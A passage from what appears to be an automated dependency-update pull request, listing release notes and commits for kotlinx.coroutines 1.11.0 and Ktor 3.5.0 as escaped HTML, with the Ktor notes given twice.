\u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/8564f65764d3d05893cec026c6e94250e2b23874\"\u003e\u003ccode\u003e8564f65\u003c/code\u003e\u003c/a\u003e Version 1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/a4c6af96c15fe30f5d4e8b810ea74f8babd5805c\"\u003e\u003ccode\u003ea4c6af9\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/ef917b460aa741691fbf991ee1b813049cae18c9\"\u003e\u003ccode\u003eef917b4\u003c/code\u003e\u003c/a\u003e KT-84955: mark apple x64 tagets as deprecated error (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4645\"\u003e#4645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/5ebc421e341bf2ddce734d369da87df1985e80bd\"\u003e\u003ccode\u003e5ebc421\u003c/code\u003e\u003c/a\u003e Update the release procedure description (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4670\"\u003e#4670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/95f46a073bc4a1230352108cea1835fd22219a80\"\u003e\u003ccode\u003e95f46a0\u003c/code\u003e\u003c/a\u003e Remove old maven repository settings (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4672\"\u003e#4672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/b4f4f0aa6acb692f3fbcadd70e4958e3e9d370fc\"\u003e\u003ccode\u003eb4f4f0a\u003c/code\u003e\u003c/a\u003e Fix package name of \u003ccode\u003eToMapCollectionSamplesTest\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4674\"\u003e#4674\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/86738dca7dc9ac82249abc8206263fa0065ee631\"\u003e\u003ccode\u003e86738dc\u003c/code\u003e\u003c/a\u003e Added templates to the issue creation wizard (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4654\"\u003e#4654\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/330fcc221fb583f0b119f34191f735a73b827378\"\u003e\u003ccode\u003e330fcc2\u003c/code\u003e\u003c/a\u003e Version 1.11.0-rc02\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/e31cef6e9f2d26794be7d75ecbf3033b6432d582\"\u003e\u003ccode\u003ee31cef6\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/dc6e9f61eaf3a67f4bf474a7987aedc3f16cef37\"\u003e\u003ccode\u003edc6e9f6\u003c/code\u003e\u003c/a\u003e Restore Promise-related functions on Wasm/JS as HIDDEN (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/compare/1.10.2...1.11.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-content-negotiation` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-content-negotiation's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-content-negotiation's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 